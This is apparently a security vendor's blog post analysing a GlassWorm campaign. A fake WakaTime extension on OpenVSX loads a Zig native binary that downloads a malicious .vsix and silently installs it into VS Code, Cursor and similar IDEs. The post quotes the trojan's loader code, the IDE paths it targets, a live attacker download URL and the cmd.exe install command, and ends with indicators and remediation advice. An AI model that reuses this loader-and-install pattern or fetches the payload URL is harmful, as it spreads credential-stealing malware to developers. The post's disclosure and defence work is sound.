

GlassWorm goes native: New Zig dropper infects every IDE on your machine

 aikido.dev/blog/glassworm-zig-dropper-infects-every-ide-on-your-machine

Ilyas Makari

April 8, 2026



We have been tracking GlassWorm for over a year. It first appeared in [March 2025](#), when Aikido discovered malicious npm packages hiding payloads inside invisible Unicode characters. The campaign has expanded repeatedly since then, compromising [hundreds of projects across GitHub, npm, and VS Code](#), and most recently delivering a [persistent RAT through a fake Chrome extension](#) that logged keystrokes and dumped session cookies. The group keeps iterating, and they just made a meaningful jump.

We observed this new technique in an OpenVSX extension called *code-wakatime-activity-tracker*. The extension impersonates WakaTime, the popular developer time-tracking tool, and ships a Zig-compiled native binary alongside its JavaScript code. This is not the first time GlassWorm resorted to using [native compiled code](#) in extensions. However, rather than using the binary as the payload directly, it is used as a stealthy indirection for the known [GlassWorm dropper](#), which now secretly infects all other IDEs it can find on your system.

The dropper: a trojanized extension

The extension *code-wakatime-activity-tracker*, published on OpenVSX, is nearly identical to the legitimate WakaTime extension on the surface: same command registrations, same API key prompts, same status bar icons. The divergence happens in one place: the `activate()` function.

```
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();
```

Before any WakaTime logic runs, the extension loads a native binary from the `./bin/` directory bundled alongside the extension and immediately calls `install()`. On Windows this is `win.node`, a PE32+ DLL. On macOS it is `mac.node`, a universal Mach-O covering both x86_64 and arm64. These are Node.js native addons: compiled shared libraries that load directly into Node's runtime and execute outside the JavaScript sandbox with full OS-level access. Both are written in Zig. The macOS binary was compiled with debug symbols intact, revealing a project path `/Users/davidioasd/Downloads/vsx_installer_zig`.

Infecting every IDE on the machine

Once loaded, the binary's first job is to find every IDE installed on the machine that supports the VS Code extension format. It then silently installs a malicious extension into each one it finds.

Windows (from `win.node`):

```
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windurf\resources\app\bin\windurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd
```

macOS (from `mac.node`):

```
/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windurf.app/Contents/Resources/app/bin/windurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positron
```

This is not a VS Code-only attack: it covers the entire ecosystem of editors that share the same extension system: VS Code, VS Code Insiders, Cursor, Windurf, VSCodium, and Positron. A developer running Cursor as their primary editor but with VS Code also installed would find both compromised.

With the IDE list built, the binary fetches a malicious **.vsix** from a GitHub Releases page controlled by the attacker:

<https://github.com/ColossusQuailPray/oieggjqde/releases/download/12/autoimport-2.7.9.vsix>

The package impersonates [steoates.autoimport](#), a legitimate and popular VS Code extension with millions of installs. The downloaded **.vsix** is written to a temporary path, then silently installed into every IDE found in the previous step using each editor's own CLI installer. On Windows this runs through **cmd.exe**:

```
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"
```

After installation, **cleanupVsix** deletes the downloaded file to remove the evidence.

The Second-Stage Extension

The force-installed **.vsix** is the same GlassWorm dropper [we have been tracking and analyzing in-depth](#). It geofences Russian systems, beacons to a Solana blockchain-based C2, and in our previous analysis we found it performs secret exfiltration and installs a persistent RAT, including a malicious chrome extension.



How Aikido Detects This

If you installed `specstudio/code-wakatime-activity-tracker` or see `floktokbok.autoimport` in any of your IDE extension lists, treat your machine as compromised and rotate any secrets that could have been accessed.

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can [create an account](#) and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's [Endpoint Protection](#) gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider [Aikido Safe Chain](#) (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpm commands and checking packages against Aikido Intel before install.

IOCs

Extensions

- `specstudio/code-wakatime-activity-tracker` (trojanized OpenVSX extension)
- `autoimport-2.7.9` (second-stage implant into IDEs)

Files

- `win.node` inside any VS Code extension's `./bin/` directory
SHA-256: `2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02`
- `mac.node` inside any VS Code extension's `./bin/` directory
SHA-256: `112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44`

Network

`https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix`

Strings

- `vsx_installer_zig` (Zig project name found in macOS binary)
- `davidioasd` (Username found in macOS binary)